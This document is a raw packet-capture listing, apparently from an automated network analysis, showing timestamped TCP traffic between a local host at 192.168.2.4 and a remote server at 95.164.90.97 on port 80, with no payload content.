Oct 8, 2024 02:45:30.036065102 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.036066055 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.036079884 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.036094904 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.036099911 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.036099911 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.036109924 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.036120892 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.036125898 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.036140919 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.036145926 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.036158085 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.036168098 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.036187887 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.036210060 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.036551952 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.036566973 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.036581039 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.036596060 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.036607981 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.036607981 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.036609888 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.036648989 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.036648989 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.036648989 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.036868095 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.036883116 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.036912918 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.036921024 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.036921024 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.036926031 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.036947966 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.036947966 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.036962986 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.036967993 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.036978960 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.036983967 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.036994934 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.037000895 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.037009954 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.037019968 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.037024975 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.037040949 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.037046909 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.037046909 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.037055016 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.037066936 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.037069082 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.037084103 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.037094116 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.037094116 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.037100077 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.037108898 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.037116051 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.037115097 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.037132025 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.037144899 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.037158012 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.037180901 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.037862062 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.037878036 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.037892103 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.037904978 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.037910938 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.037919998 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.037933111 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.037935019 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.037950039 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.037954092 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.037966013 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.037980080 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.037981033 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.037996054 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.038000107 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.038009882 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.038017988 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.038024902 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.038039923 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.038041115 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.038053989 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.038067102 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.038069010 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.038067102 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.038084030 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.038094997 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.038094997 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.038099051 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.038114071 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.038115978 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.038137913 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.038139105 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.038157940 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.038692951 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.038708925 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.038722038 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.038736105 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.038746119 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.038746119 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.038749933 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.038764954 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.038774014 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.038774014 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.038779974 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.038794041 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.038794994 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.038810968 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.038819075 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.038820028 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.038825989 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.038846970 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.038846970 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.038867950 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.123974085 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.123992920 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.124008894 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.124068022 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.124068022 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.124083042 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.124100924 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.124116898 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.124130964 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.124141932 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.124141932 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.124141932 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.124141932 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.124196053 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.124196053 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.124203920 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.124248028 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.124273062 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.124296904 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.124316931 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.124320030 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.124336958 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.124341011 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.124358892 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.124361992 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.124381065 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.124401093 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.124419928 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.124434948 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.124469042 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.124469042 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.124495029 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.124507904 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.124547005 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.124547005 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.124603987 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.124619007 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.124634027 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.124649048 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.124651909 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.124651909 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.124687910 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.124687910 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.124744892 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.124761105 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.124774933 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.124788046 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.124795914 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.124797106 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.124804020 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.124819040 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.124825001 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.124825001 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.124844074 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.124847889 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.124867916 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.124886990 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.124984980 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.125001907 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.125015974 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.125036955 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.125036955 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.125072002 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.125108004 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.125123024 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.125138998 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.125157118 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.125157118 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.125190973 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.125220060 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.125236988 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.125251055 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.125266075 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.125269890 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.125269890 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.125281096 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.125298023 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.125298023 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.125318050 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.125336885 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.125377893 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.125390053 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.125406027 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.125421047 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.125436068 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.125442028 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.125442028 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.125469923 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.125469923 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.125653982 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.125669956 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.125684023 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.125698090 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.125705957 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.125705957 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.125714064 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.125730038 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.125734091 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.125734091 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.125746012 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.125761032 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.125761986 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.125761032 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.125777960 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.125782967 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.125813007 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.125813007 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.125936985 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.125952005 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.125967979 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.125987053 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.125988007 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.126022100 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.126059055 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.126075029 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.126089096 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.126105070 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.126106024 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.126106024 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.126118898 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.126135111 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.126135111 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.126154900 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.126192093 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.126207113 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.126240015 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.126240015 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.126276016 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.126291990 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.126306057 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.126318932 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.126322985 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.126322985 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.126336098 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.126351118 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.126351118 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.126353025 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.126368999 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.126370907 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.126393080 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.126413107 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.126595020 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.126610994 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.126625061 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.126638889 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.126651049 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.126652956 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.126651049 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.126667976 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.126672983 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.126698971 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.126699924 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.126730919 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.126792908 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.126806974 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.126821041 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.126872063 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.182456970 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.187540054 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.444494963 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.444556952 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.444592953 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.444595098 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.444627047 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.444628954 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.444647074 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.444672108 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.444696903 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.444729090 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.444741964 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.444761992 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.444770098 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.444797039 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.444806099 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.444842100 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.445084095 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.445116997 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.445133924 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.445148945 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.445161104 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.445182085 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.445193052 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.445214987 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.445226908 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.445247889 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.445259094 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.445281029 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.445292950 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.445312977 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.445324898 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.445348024 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.445353985 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.445394993 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.445542097 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.445574045 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.445590973 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.445606947 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.445621014 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.445640087 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.445653915 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.445672035 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.445687056 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.445704937 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.445718050 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.445736885 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.445749044 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.445769072 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.445782900 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.445807934 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.445817947 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.445842028 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.445852041 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.445875883 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.445885897 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.445907116 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.445919991 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.445939064 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.445952892 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.445972919 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:30.445991039 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:30.446017981 CEST	51293	80	192.168.2.4	95.164.90.97
